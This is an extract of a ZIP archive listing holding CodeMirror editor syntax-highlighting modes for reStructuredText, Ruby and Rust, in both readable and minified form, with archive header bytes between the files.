///////////////////////////////////////////////////////////////////////////

  function to_comment(stream, state) {
    return as_block(stream, state, 'comment');
  }

  function to_verbatim(stream, state) {
    return as_block(stream, state, 'meta');
  }

  function as_block(stream, state, token) {
    if (stream.eol() || stream.eatSpace()) {
      stream.skipToEnd();
      return token;
    } else {
      change(state, to_normal);
      return null;
    }
  }

 
///////////////////////////////////////////////////////////////////////////
 
///////////////////////////////////////////////////////////////////////////

  function to_mode(stream, state) {

    if (state.ctx.mode && state.ctx.local) {

      if (stream.sol()) {
        if (!stream.eatSpace()) change(state, to_normal);
        return null;
      }

      return state.ctx.mode.token(stream, state.ctx.local);
    }

    change(state, to_normal);
    return null;
  }

 
///////////////////////////////////////////////////////////////////////////
 
///////////////////////////////////////////////////////////////////////////

  function context(phase, stage, mode, local) {
    return {phase: phase, stage: stage, mode: mode, local: local};
  }

  function change(state, tok, ctx) {
    state.tok = tok;
    state.ctx = ctx || {};
  }

  function stage(state) {
    return state.ctx.stage || 0;
  }

  function phase(state) {
    return state.ctx.phase;
  }

 
///////////////////////////////////////////////////////////////////////////
 
///////////////////////////////////////////////////////////////////////////

  return {
    startState: function () {
      return {tok: to_normal, ctx: context(undefined, 0)};
    },

    copyState: function (state) {
      var ctx = state.ctx, tmp = state.tmp;
      if (ctx.local)
        ctx = {mode: ctx.mode, local: CodeMirror.copyState(ctx.mode,
ctx.local)};
      if (tmp)
        tmp = {mode: tmp.mode, local: CodeMirror.copyState(tmp.mode,
tmp.local)};
      return {tok: state.tok, ctx: ctx, tmp: tmp};
    },

    innerMode: function (state) {
      return state.tmp      ? {state: state.tmp.local, mode:
state.tmp.mode}
      : state.ctx.mode ? {state: state.ctx.local, mode: state.ctx.mode}
      : null;
    },

    token: function (stream, state) {
      return state.tok(stream, state);
    }
  };
}, 'python', 'stex');

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

CodeMirror.defineMIME('text/x-rst', 'rst');

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

});
PKJ��[ݒO���codemirror/mode/rst/rst.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../python/python"),require("../stex/stex"),require("../../addon/mode/overlay")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../python/python","../stex/stex","../../addon/mode/overlay"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("rst",(function(b,c){var
d=/^\*\*[^\*\s](?:[^\*]*[^\*\s])?\*\*/,e=/^\*[^\*\s](?:[^\*]*[^\*\s])?\*/,f=/^``[^`\s](?:[^`]*[^`\s])``/,g=/^(?:[\d]+(?:[\.,]\d+)*)/,h=/^(?:\s\+[\d]+(?:[\.,]\d+)*)/,i=/^(?:\s\-[\d]+(?:[\.,]\d+)*)/,j=new
RegExp("^[Hh][Tt][Tt][Pp][Ss]?://(?:[\\d\\w.-]+)\\.(?:\\w{2,6})(?:/[\\d\\w\\#\\%\\&\\-\\.\\,\\/\\:\\=\\?\\~]+)*"),k={token:function(a){if(a.match(d)&&a.match(/\W+|$/,!1))return"strong";if(a.match(e)&&a.match(/\W+|$/,!1))return"em";if(a.match(f)&&a.match(/\W+|$/,!1))return"string-2";if(a.match(g))return"number";if(a.match(h))return"positive";if(a.match(i))return"negative";if(a.match(j))return"link";for(;!(null==a.next()||a.match(d,!1)||a.match(e,!1)||a.match(f,!1)||a.match(g,!1)||a.match(h,!1)||a.match(i,!1)||a.match(j,!1)););return
null}},l=a.getMode(b,c.backdrop||"rst-base");return
a.overlayMode(l,k,!0)}),"python","stex"),a.defineMode("rst-base",(function(b){function
c(a){var b=Array.prototype.slice.call(arguments,1);return
a.replace(/{(\d+)}/g,(function(a,c){return void 0!==b[c]?b[c]:a}))}function
d(b,c){var
f=null;if(b.sol()&&b.match(W,!1))k(c,i,{mode:n,local:a.startState(n)});else
if(b.sol()&&b.match(y))k(c,e),f="meta";else
if(b.sol()&&b.match(x))k(c,d),f="header";else
if(m(c)==J||b.match(J,!1))switch(l(c)){case
0:k(c,d,j(J,1)),b.match(/^:/),f="meta";break;case
1:k(c,d,j(J,2)),b.match(s),f="keyword",b.current().match(/^(?:math|latex)/)&&(c.tmp_stex=!0);break;case
2:k(c,d,j(J,3)),b.match(/^:`/),f="meta";break;case
3:if(c.tmp_stex&&(c.tmp_stex=void
0,c.tmp={mode:o,local:a.startState(o)}),c.tmp){if("`"==b.peek()){k(c,d,j(J,4)),c.tmp=void
0;break}f=c.tmp.mode.token(b,c.tmp.local);break}k(c,d,j(J,4)),b.match(w),f="string";break;case
4:k(c,d,j(J,5)),b.match(/^`/),f="meta";break;case
5:k(c,d,j(J,6)),b.match(q);break;default:k(c,d)}else
if(m(c)==K||b.match(K,!1))switch(l(c)){case
0:k(c,d,j(K,1)),b.match(/^`/),f="meta";break;case
1:k(c,d,j(K,2)),b.match(w),f="string";break;case
2:k(c,d,j(K,3)),b.match(/^`:/),f="meta";break;case
3:k(c,d,j(K,4)),b.match(s),f="keyword";break;case
4:k(c,d,j(K,5)),b.match(/^:/),f="meta";break;case
5:k(c,d,j(K,6)),b.match(q);break;default:k(c,d)}else
if(m(c)==L||b.match(L,!1))switch(l(c)){case
0:k(c,d,j(L,1)),b.match(/^:/),f="meta";break;case
1:k(c,d,j(L,2)),b.match(s),f="keyword";break;case
2:k(c,d,j(L,3)),b.match(/^:/),f="meta";break;case
3:k(c,d,j(L,4)),b.match(q);break;default:k(c,d)}else
if(m(c)==E||b.match(E,!1))switch(l(c)){case
0:k(c,d,j(E,1)),b.match(O),f="variable-2";break;case
1:k(c,d,j(E,2)),b.match(/^_?_?/)&&(f="link");break;default:k(c,d)}else
if(b.match(F))k(c,d),f="quote";else
if(b.match(G))k(c,d),f="quote";else
if(b.match(H))k(c,d),b.peek()&&!b.peek().match(/^\W$/)||(f="link");else
if(m(c)==I||b.match(I,!1))switch(l(c)){case
0:!b.peek()||b.peek().match(/^\W$/)?k(c,d,j(I,1)):b.match(I);break;case
1:k(c,d,j(I,2)),b.match(/^`/),f="link";break;case
2:k(c,d,j(I,3)),b.match(w);break;case
3:k(c,d,j(I,4)),b.match(/^`_/),f="link";break;default:k(c,d)}else
b.match(V)?k(c,g):b.next()&&k(c,d);return f}function e(b,c){var
g=null;if(m(c)==B||b.match(B,!1))switch(l(c)){case
0:k(c,e,j(B,1)),b.match(O),g="variable-2";break;case
1:k(c,e,j(B,2)),b.match(P);break;case
2:k(c,e,j(B,3)),b.match(Q),g="keyword";break;case
3:k(c,e,j(B,4)),b.match(R),g="meta";break;default:k(c,d)}else
if(m(c)==A||b.match(A,!1))switch(l(c)){case
0:k(c,e,j(A,1)),b.match(M),g="keyword",b.current().match(/^(?:math|latex)/)?c.tmp_stex=!0:b.current().match(/^python/)&&(c.tmp_py=!0);break;case
1:k(c,e,j(A,2)),b.match(N),g="meta",(b.match(/^latex\s*$/)||c.tmp_stex)&&(c.tmp_stex=void
0,k(c,i,{mode:o,local:a.startState(o)}));break;case
2:k(c,e,j(A,3)),(b.match(/^python\s*$/)||c.tmp_py)&&(c.tmp_py=void
0,k(c,i,{mode:n,local:a.startState(n)}));break;default:k(c,d)}else
if(m(c)==z||b.match(z,!1))switch(l(c)){case
0:k(c,e,j(z,1)),b.match(S),b.match(T),g="link";break;case
1:k(c,e,j(z,2)),b.match(U),g="meta";break;default:k(c,d)}else
b.match(C)?(k(c,d),g="quote"):b.match(D)?(k(c,d),g="quote"):(b.eatSpace(),b.eol()?k(c,d):(b.skipToEnd(),k(c,f),g="comment"));return
g}function f(a,b){return h(a,b,"comment")}function g(a,b){return
h(a,b,"meta")}function h(a,b,c){return
a.eol()||a.eatSpace()?(a.skipToEnd(),c):(k(b,d),null)}function
i(a,b){return
b.ctx.mode&&b.ctx.local?a.sol()?(a.eatSpace()||k(b,d),null):b.ctx.mode.token(a,b.ctx.local):(k(b,d),null)}function
j(a,b,c,d){return{phase:a,stage:b,mode:c,local:d}}function
k(a,b,c){a.tok=b,a.ctx=c||{}}function l(a){return a.ctx.stage||0}function
m(a){return a.ctx.phase}var
n=a.getMode(b,"python"),o=a.getMode(b,"stex"),p="(?:\\s*|\\W|$)",q=new
RegExp(c("^{0}",p)),r="(?:[^\\W\\d_](?:[\\w!\"#$%&'()\\*\\+,\\-\\./:;<=>\\?]*[^\\W_])?)",s=new
RegExp(c("^{0}",r)),t=c("(?:{0}|`{1}`)",r,"(?:[^\\W\\d_](?:[\\w\\s!\"#$%&'()\\*\\+,\\-\\./:;<=>\\?]*[^\\W_])?)"),u="(?:[^\\s\\|](?:[^\\|]*[^\\s\\|])?)",v="(?:[^\\`]+)",w=new
RegExp(c("^{0}",v)),x=new
RegExp("^([!'#$%&\"()*+,-./:;<=>?@\\[\\\\\\]^_`{|}~])\\1{3,}\\s*$"),y=new
RegExp(c("^\\.\\.{0}","\\s+")),z=new
RegExp(c("^_{0}:{1}|^__:{1}",t,p)),A=new
RegExp(c("^{0}::{1}",t,p)),B=new
RegExp(c("^\\|{0}\\|{1}{2}::{3}",u,"\\s+",t,p)),C=new
RegExp(c("^\\[(?:\\d+|#{0}?|\\*)]{1}",t,p)),D=new
RegExp(c("^\\[{0}\\]{1}",t,p)),E=new
RegExp(c("^\\|{0}\\|",u)),F=new
RegExp(c("^\\[(?:\\d+|#{0}?|\\*)]_",t)),G=new
RegExp(c("^\\[{0}\\]_",t)),H=new
RegExp(c("^{0}__?",t)),I=new
RegExp(c("^`{0}`_",v)),J=new
RegExp(c("^:{0}:`{1}`{2}",r,v,p)),K=new
RegExp(c("^`{1}`:{0}:{2}",r,v,p)),L=new
RegExp(c("^:{0}:{1}",r,p)),M=new
RegExp(c("^{0}",t)),N=new RegExp(c("^::{0}",p)),O=new
RegExp(c("^\\|{0}\\|",u)),P=new
RegExp(c("^{0}","\\s+")),Q=new
RegExp(c("^{0}",t)),R=new RegExp(c("^::{0}",p)),S=new
RegExp("^_"),T=new RegExp(c("^{0}|_",t)),U=new
RegExp(c("^:{0}",p)),V=new RegExp("^::\\s*$"),W=new
RegExp("^\\s+(?:>>>|In
\\[\\d+\\]:)\\s");return{startState:function(){return{tok:d,ctx:j(void
0,0)}},copyState:function(b){var c=b.ctx,d=b.tmp;return
c.local&&(c={mode:c.mode,local:a.copyState(c.mode,c.local)}),d&&(d={mode:d.mode,local:a.copyState(d.mode,d.local)}),{tok:b.tok,ctx:c,tmp:d}},innerMode:function(a){return
a.tmp?{state:a.tmp.local,mode:a.tmp.mode}:a.ctx.mode?{state:a.ctx.local,mode:a.ctx.mode}:null},token:function(a,b){return
b.tok(a,b)}}}),"python","stex"),a.defineMIME("text/x-rst","rst")}));PKJ��[��F�)�)codemirror/mode/ruby/ruby.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("ruby", function(config) {
  function wordObj(words) {
    var o = {};
    for (var i = 0, e = words.length; i < e; ++i) o[words[i]] = true;
    return o;
  }
  var keywords = wordObj([
    "alias", "and", "BEGIN",
"begin", "break", "case", "class",
"def", "defined?", "do", "else",
    "elsif", "END", "end",
"ensure", "false", "for", "if",
"in", "module", "next", "not",
"or",
    "redo", "rescue", "retry",
"return", "self", "super", "then",
"true", "undef", "unless",
    "until", "when", "while",
"yield", "nil", "raise", "throw",
"catch", "fail", "loop", "callcc",
    "caller", "lambda", "proc",
"public", "protected", "private",
"require", "load",
    "require_relative", "extend", "autoload",
"__END__", "__FILE__", "__LINE__",
"__dir__"
  ]);
  var indentWords = wordObj(["def", "class",
"case", "for", "while", "until",
"module", "then",
                             "catch", "loop",
"proc", "begin"]);
  var dedentWords = wordObj(["end", "until"]);
  var opening = {"[": "]", "{":
"}", "(": ")"};
  var closing = {"]": "[", "}":
"{", ")": "("};
  var curPunc;

  function chain(newtok, stream, state) {
    state.tokenize.push(newtok);
    return newtok(stream, state);
  }

  function tokenBase(stream, state) {
    if (stream.sol() && stream.match("=begin") &&
stream.eol()) {
      state.tokenize.push(readBlockComment);
      return "comment";
    }
    if (stream.eatSpace()) return null;
    var ch = stream.next(), m;
    if (ch == "`" || ch == "'" || ch ==
'"') {
      return chain(readQuoted(ch, "string", ch ==
'"' || ch == "`"), stream, state);
    } else if (ch == "/") {
      if (regexpAhead(stream))
        return chain(readQuoted(ch, "string-2", true), stream,
state);
      else
        return "operator";
    } else if (ch == "%") {
      var style = "string", embed = true;
      if (stream.eat("s")) style = "atom";
      else if (stream.eat(/[WQ]/)) style = "string";
      else if (stream.eat(/[r]/)) style = "string-2";
      else if (stream.eat(/[wxq]/)) { style = "string"; embed =
false; }
      var delim = stream.eat(/[^\w\s=]/);
      if (!delim) return "operator";
      if (opening.propertyIsEnumerable(delim)) delim = opening[delim];
      return chain(readQuoted(delim, style, embed, true), stream, state);
    } else if (ch == "#") {
      stream.skipToEnd();
      return "comment";
    } else if (ch == "<" && (m =
stream.match(/^<([-~])[\`\"\']?([a-zA-Z_?]\w*)[\`\"\']?(?:;|$)/)))
{
      return chain(readHereDoc(m[2], m[1]), stream, state);
    } else if (ch == "0") {
      if (stream.eat("x")) stream.eatWhile(/[\da-fA-F]/);
      else if (stream.eat("b")) stream.eatWhile(/[01]/);
      else stream.eatWhile(/[0-7]/);
      return "number";
    } else if (/\d/.test(ch)) {
      stream.match(/^[\d_]*(?:\.[\d_]+)?(?:[eE][+\-]?[\d_]+)?/);
      return "number";
    } else if (ch == "?") {
      while (stream.match(/^\\[CM]-/)) {}
      if (stream.eat("\\")) stream.eatWhile(/\w/);
      else stream.next();
      return "string";
    } else if (ch == ":") {
      if (stream.eat("'")) return
chain(readQuoted("'", "atom", false), stream,
state);
      if (stream.eat('"')) return
chain(readQuoted('"', "atom", true), stream,
state);

      // :> :>> :< :<< are valid symbols
      if (stream.eat(/[\<\>]/)) {
        stream.eat(/[\<\>]/);
        return "atom";
      }

      // :+ :- :/ :* :| :& :! are valid symbols
      if (stream.eat(/[\+\-\*\/\&\|\:\!]/)) {
        return "atom";
      }

      // Symbols can't start by a digit
      if (stream.eat(/[a-zA-Z$@_\xa1-\uffff]/)) {
        stream.eatWhile(/[\w$\xa1-\uffff]/);
        // Only one ? ! = is allowed and only as the last character
        stream.eat(/[\?\!\=]/);
        return "atom";
      }
      return "operator";
    } else if (ch == "@" &&
stream.match(/^@?[a-zA-Z_\xa1-\uffff]/)) {
      stream.eat("@");
      stream.eatWhile(/[\w\xa1-\uffff]/);
      return "variable-2";
    } else if (ch == "$") {
      if (stream.eat(/[a-zA-Z_]/)) {
        stream.eatWhile(/[\w]/);
      } else if (stream.eat(/\d/)) {
        stream.eat(/\d/);
      } else {
        stream.next(); // Must be a special global like $: or $!
      }
      return "variable-3";
    } else if (/[a-zA-Z_\xa1-\uffff]/.test(ch)) {
      stream.eatWhile(/[\w\xa1-\uffff]/);
      stream.eat(/[\?\!]/);
      if (stream.eat(":")) return "atom";
      return "ident";
    } else if (ch == "|" && (state.varList ||
state.lastTok == "{" || state.lastTok == "do")) {
      curPunc = "|";
      return null;
    } else if (/[\(\)\[\]{}\\;]/.test(ch)) {
      curPunc = ch;
      return null;
    } else if (ch == "-" && stream.eat(">"))
{
      return "arrow";
    } else if (/[=+\-\/*:\.^%<>~|]/.test(ch)) {
      var more = stream.eatWhile(/[=+\-\/*:\.^%<>~|]/);
      if (ch == "." && !more) curPunc = ".";
      return "operator";
    } else {
      return null;
    }
  }

  function regexpAhead(stream) {
    var start = stream.pos, depth = 0, next, found = false, escaped = false
    while ((next = stream.next()) != null) {
      if (!escaped) {
        if ("[{(".indexOf(next) > -1) {
          depth++
        } else if ("]})".indexOf(next) > -1) {
          depth--
          if (depth < 0) break
        } else if (next == "/" && depth == 0) {
          found = true
          break
        }
        escaped = next == "\\"
      } else {
        escaped = false
      }
    }
    stream.backUp(stream.pos - start)
    return found
  }

  function tokenBaseUntilBrace(depth) {
    if (!depth) depth = 1;
    return function(stream, state) {
      if (stream.peek() == "}") {
        if (depth == 1) {
          state.tokenize.pop();
          return state.tokenize[state.tokenize.length-1](stream, state);
        } else {
          state.tokenize[state.tokenize.length - 1] =
tokenBaseUntilBrace(depth - 1);
        }
      } else if (stream.peek() == "{") {
        state.tokenize[state.tokenize.length - 1] =
tokenBaseUntilBrace(depth + 1);
      }
      return tokenBase(stream, state);
    };
  }
  function tokenBaseOnce() {
    var alreadyCalled = false;
    return function(stream, state) {
      if (alreadyCalled) {
        state.tokenize.pop();
        return state.tokenize[state.tokenize.length-1](stream, state);
      }
      alreadyCalled = true;
      return tokenBase(stream, state);
    };
  }
  function readQuoted(quote, style, embed, unescaped) {
    return function(stream, state) {
      var escaped = false, ch;

      if (state.context.type === 'read-quoted-paused') {
        state.context = state.context.prev;
        stream.eat("}");
      }

      while ((ch = stream.next()) != null) {
        if (ch == quote && (unescaped || !escaped)) {
          state.tokenize.pop();
          break;
        }
        if (embed && ch == "#" && !escaped) {
          if (stream.eat("{")) {
            if (quote == "}") {
              state.context = {prev: state.context, type:
'read-quoted-paused'};
            }
            state.tokenize.push(tokenBaseUntilBrace());
            break;
          } else if (/[@\$]/.test(stream.peek())) {
            state.tokenize.push(tokenBaseOnce());
            break;
          }
        }
        escaped = !escaped && ch == "\\";
      }
      return style;
    };
  }
  function readHereDoc(phrase, mayIndent) {
    return function(stream, state) {
      if (mayIndent) stream.eatSpace()
      if (stream.match(phrase)) state.tokenize.pop();
      else stream.skipToEnd();
      return "string";
    };
  }
  function readBlockComment(stream, state) {
    if (stream.sol() && stream.match("=end") &&
stream.eol())
      state.tokenize.pop();
    stream.skipToEnd();
    return "comment";
  }

  return {
    startState: function() {
      return {tokenize: [tokenBase],
              indented: 0,
              context: {type: "top", indented:
-config.indentUnit},
              continuedLine: false,
              lastTok: null,
              varList: false};
    },

    token: function(stream, state) {
      curPunc = null;
      if (stream.sol()) state.indented = stream.indentation();
      var style = state.tokenize[state.tokenize.length-1](stream, state),
kwtype;
      var thisTok = curPunc;
      if (style == "ident") {
        var word = stream.current();
        style = state.lastTok == "." ? "property"
          : keywords.propertyIsEnumerable(stream.current()) ?
"keyword"
          : /^[A-Z]/.test(word) ? "tag"
          : (state.lastTok == "def" || state.lastTok ==
"class" || state.varList) ? "def"
          : "variable";
        if (style == "keyword") {
          thisTok = word;
          if (indentWords.propertyIsEnumerable(word)) kwtype =
"indent";
          else if (dedentWords.propertyIsEnumerable(word)) kwtype =
"dedent";
          else if ((word == "if" || word == "unless")
&& stream.column() == stream.indentation())
            kwtype = "indent";
          else if (word == "do" && state.context.indented
< state.indented)
            kwtype = "indent";
        }
      }
      if (curPunc || (style && style != "comment"))
state.lastTok = thisTok;
      if (curPunc == "|") state.varList = !state.varList;

      if (kwtype == "indent" || /[\(\[\{]/.test(curPunc))
        state.context = {prev: state.context, type: curPunc || style,
indented: state.indented};
      else if ((kwtype == "dedent" || /[\)\]\}]/.test(curPunc))
&& state.context.prev)
        state.context = state.context.prev;

      if (stream.eol())
        state.continuedLine = (curPunc == "\\" || style ==
"operator");
      return style;
    },

    indent: function(state, textAfter) {
      if (state.tokenize[state.tokenize.length-1] != tokenBase) return
CodeMirror.Pass;
      var firstChar = textAfter && textAfter.charAt(0);
      var ct = state.context;
      var closed = ct.type == closing[firstChar] ||
        ct.type == "keyword" &&
/^(?:end|until|else|elsif|when|rescue)\b/.test(textAfter);
      return ct.indented + (closed ? 0 : config.indentUnit) +
        (state.continuedLine ? config.indentUnit : 0);
    },

    electricInput: /^\s*(?:end|rescue|elsif|else|\})$/,
    lineComment: "#",
    fold: "indent"
  };
});

CodeMirror.defineMIME("text/x-ruby", "ruby");

});
PKJ��[����
codemirror/mode/ruby/ruby.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("ruby",(function(b){function
c(a){for(var b={},c=0,d=a.length;c<d;++c)b[a[c]]=!0;return b}function
d(a,b,c){return c.tokenize.push(a),a(b,c)}function
e(a,b){if(a.sol()&&a.match("=begin")&&a.eol())return
b.tokenize.push(k),"comment";if(a.eatSpace())return null;var
c,e=a.next();if("`"==e||"'"==e||'"'==e)return
d(i(e,"string",'"'==e||"`"==e),a,b);if("/"==e)return
f(a)?d(i(e,"string-2",!0),a,b):"operator";if("%"==e){var
g="string",h=!0;a.eat("s")?g="atom":a.eat(/[WQ]/)?g="string":a.eat(/[r]/)?g="string-2":a.eat(/[wxq]/)&&(g="string",h=!1);var
m=a.eat(/[^\w\s=]/);return
m?(p.propertyIsEnumerable(m)&&(m=p[m]),d(i(m,g,h,!0),a,b)):"operator"}if("#"==e)return
a.skipToEnd(),"comment";if("<"==e&&(c=a.match(/^<([-~])[\`\"\']?([a-zA-Z_?]\w*)[\`\"\']?(?:;|$)/)))return
d(j(c[2],c[1]),a,b);if("0"==e)return
a.eat("x")?a.eatWhile(/[\da-fA-F]/):a.eat("b")?a.eatWhile(/[01]/):a.eatWhile(/[0-7]/),"number";if(/\d/.test(e))return
a.match(/^[\d_]*(?:\.[\d_]+)?(?:[eE][+\-]?[\d_]+)?/),"number";if("?"==e){for(;a.match(/^\\[CM]-/););return
a.eat("\\")?a.eatWhile(/\w/):a.next(),"string"}if(":"==e)return
a.eat("'")?d(i("'","atom",!1),a,b):a.eat('"')?d(i('"',"atom",!0),a,b):a.eat(/[\<\>]/)?(a.eat(/[\<\>]/),"atom"):a.eat(/[\+\-\*\/\&\|\:\!]/)?"atom":a.eat(/[a-zA-Z$@_\xa1-\uffff]/)?(a.eatWhile(/[\w$\xa1-\uffff]/),a.eat(/[\?\!\=]/),"atom"):"operator";if("@"==e&&a.match(/^@?[a-zA-Z_\xa1-\uffff]/))return
a.eat("@"),a.eatWhile(/[\w\xa1-\uffff]/),"variable-2";if("$"==e)return
a.eat(/[a-zA-Z_]/)?a.eatWhile(/[\w]/):a.eat(/\d/)?a.eat(/\d/):a.next(),"variable-3";if(/[a-zA-Z_\xa1-\uffff]/.test(e))return
a.eatWhile(/[\w\xa1-\uffff]/),a.eat(/[\?\!]/),a.eat(":")?"atom":"ident";if("|"!=e||!b.varList&&"{"!=b.lastTok&&"do"!=b.lastTok){if(/[\(\)\[\]{}\\;]/.test(e))return
l=e,null;if("-"==e&&a.eat(">"))return"arrow";if(/[=+\-\/*:\.^%<>~|]/.test(e)){var
n=a.eatWhile(/[=+\-\/*:\.^%<>~|]/);return"."!=e||n||(l="."),"operator"}return
null}return l="|",null}function f(a){for(var
b,c=a.pos,d=0,e=!1,f=!1;null!=(b=a.next());)if(f)f=!1;else{if("[{(".indexOf(b)>-1)d++;else
if("]})".indexOf(b)>-1){if(--d<0)break}else
if("/"==b&&0==d){e=!0;break}f="\\"==b}return
a.backUp(a.pos-c),e}function g(a){return
a||(a=1),function(b,c){if("}"==b.peek()){if(1==a)return
c.tokenize.pop(),c.tokenize[c.tokenize.length-1](b,c);c.tokenize[c.tokenize.length-1]=g(a-1)}else"{"==b.peek()&&(c.tokenize[c.tokenize.length-1]=g(a+1));return
e(b,c)}}function h(){var a=!1;return function(b,c){return
a?(c.tokenize.pop(),c.tokenize[c.tokenize.length-1](b,c)):(a=!0,e(b,c))}}function
i(a,b,c,d){return function(e,f){var
i,j=!1;for("read-quoted-paused"===f.context.type&&(f.context=f.context.prev,e.eat("}"));null!=(i=e.next());){if(i==a&&(d||!j)){f.tokenize.pop();break}if(c&&"#"==i&&!j){if(e.eat("{")){"}"==a&&(f.context={prev:f.context,type:"read-quoted-paused"}),f.tokenize.push(g());break}if(/[@\$]/.test(e.peek())){f.tokenize.push(h());break}}j=!j&&"\\"==i}return
b}}function j(a,b){return function(c,d){return
b&&c.eatSpace(),c.match(a)?d.tokenize.pop():c.skipToEnd(),"string"}}function
k(a,b){return
a.sol()&&a.match("=end")&&a.eol()&&b.tokenize.pop(),a.skipToEnd(),"comment"}var
l,m=c(["alias","and","BEGIN","begin","break","case","class","def","defined?","do","else","elsif","END","end","ensure","false","for","if","in","module","next","not","or","redo","rescue","retry","return","self","super","then","true","undef","unless","until","when","while","yield","nil","raise","throw","catch","fail","loop","callcc","caller","lambda","proc","public","protected","private","require","load","require_relative","extend","autoload","__END__","__FILE__","__LINE__","__dir__"]),n=c(["def","class","case","for","while","until","module","then","catch","loop","proc","begin"]),o=c(["end","until"]),p={"[":"]","{":"}","(":")"},q={"]":"[","}":"{",")":"("};return{startState:function(){return{tokenize:[e],indented:0,context:{type:"top",indented:-b.indentUnit},continuedLine:!1,lastTok:null,varList:!1}},token:function(a,b){l=null,a.sol()&&(b.indented=a.indentation());var
c,d=b.tokenize[b.tokenize.length-1](a,b),e=l;if("ident"==d){var
f=a.current();d="."==b.lastTok?"property":m.propertyIsEnumerable(a.current())?"keyword":/^[A-Z]/.test(f)?"tag":"def"==b.lastTok||"class"==b.lastTok||b.varList?"def":"variable","keyword"==d&&(e=f,n.propertyIsEnumerable(f)?c="indent":o.propertyIsEnumerable(f)?c="dedent":"if"!=f&&"unless"!=f||a.column()!=a.indentation()?"do"==f&&b.context.indented<b.indented&&(c="indent"):c="indent")}return(l||d&&"comment"!=d)&&(b.lastTok=e),"|"==l&&(b.varList=!b.varList),"indent"==c||/[\(\[\{]/.test(l)?b.context={prev:b.context,type:l||d,indented:b.indented}:("dedent"==c||/[\)\]\}]/.test(l))&&b.context.prev&&(b.context=b.context.prev),a.eol()&&(b.continuedLine="\\"==l||"operator"==d),d},indent:function(c,d){if(c.tokenize[c.tokenize.length-1]!=e)return
a.Pass;var
f=d&&d.charAt(0),g=c.context,h=g.type==q[f]||"keyword"==g.type&&/^(?:end|until|else|elsif|when|rescue)\b/.test(d);return
g.indented+(h?0:b.indentUnit)+(c.continuedLine?b.indentUnit:0)},electricInput:/^\s*(?:end|rescue|elsif|else|\})$/,lineComment:"#",fold:"indent"}})),a.defineMIME("text/x-ruby","ruby")}));PKJ��[~�r*codemirror/mode/rust/rust.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../../addon/mode/simple"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../../addon/mode/simple"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineSimpleMode("rust",{
  start: [
    // string and byte string
    {regex: /b?"/, token: "string", next:
"string"},
    // raw string and raw byte string
    {regex: /b?r"/, token: "string", next:
"string_raw"},
    {regex: /b?r#+"/, token: "string", next:
"string_raw_hash"},
    // character
    {regex:
/'(?:[^'\\]|\\(?:[nrt0'"]|x[\da-fA-F]{2}|u\{[\da-fA-F]{6}\}))'/,
token: "string-2"},
    // byte
    {regex:
/b'(?:[^']|\\(?:['\\nrt0]|x[\da-fA-F]{2}))'/, token:
"string-2"},

    {regex:
/(?:(?:[0-9][0-9_]*)(?:(?:[Ee][+-]?[0-9_]+)|\.[0-9_]+(?:[Ee][+-]?[0-9_]+)?)(?:f32|f64)?)|(?:0(?:b[01_]+|(?:o[0-7_]+)|(?:x[0-9a-fA-F_]+))|(?:[0-9][0-9_]*))(?:u8|u16|u32|u64|i8|i16|i32|i64|isize|usize)?/,
     token: "number"},
    {regex:
/(let(?:\s+mut)?|fn|enum|mod|struct|type|union)(\s+)([a-zA-Z_][a-zA-Z0-9_]*)/,
token: ["keyword", null, "def"]},
    {regex:
/(?:abstract|alignof|as|async|await|box|break|continue|const|crate|do|dyn|else|enum|extern|fn|for|final|if|impl|in|loop|macro|match|mod|move|offsetof|override|priv|proc|pub|pure|ref|return|self|sizeof|static|struct|super|trait|type|typeof|union|unsafe|unsized|use|virtual|where|while|yield)\b/,
token: "keyword"},
    {regex:
/\b(?:Self|isize|usize|char|bool|u8|u16|u32|u64|f16|f32|f64|i8|i16|i32|i64|str|Option)\b/,
token: "atom"},
    {regex: /\b(?:true|false|Some|None|Ok|Err)\b/, token:
"builtin"},
    {regex: /\b(fn)(\s+)([a-zA-Z_][a-zA-Z0-9_]*)/,
     token: ["keyword", null ,"def"]},
    {regex: /#!?\[.*\]/, token: "meta"},
    {regex: /\/\/.*/, token: "comment"},
    {regex: /\/\*/, token: "comment", next: "comment"},
    {regex: /[-+\/*=<>!]+/, token: "operator"},
    {regex: /[a-zA-Z_]\w*!/,token: "variable-3"},
    {regex: /[a-zA-Z_]\w*/, token: "variable"},
    {regex: /[\{\[\(]/, indent: true},
    {regex: /[\}\]\)]/, dedent: true}
  ],
  string: [
    {regex: /"/, token: "string", next: "start"},
    {regex: /(?:[^\\"]|\\(?:.|$))*/, token: "string"}
  ],
  string_raw: [
    {regex: /"/, token: "string", next: "start"},
    {regex: /[^"]*/, token: "string"}
  ],
  string_raw_hash: [
    {regex: /"#+/, token: "string", next:
"start"},
    {regex: /(?:[^"]|"(?!#))*/, token: "string"}
  ],
  comment: [
    {regex: /.*?\*\//, token: "comment", next:
"start"},
    {regex: /.*/, token: "comment"}
  ],
  meta: {
    dontIndentStates: ["comment"],
    electricInput: /^\s*\}$/,
    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    lineComment: "//",
    fold: "brace"
  }
});


CodeMirror.defineMIME("text/x-rustsrc", "rust");
CodeMirror.defineMIME("text/rust", "rust");
});
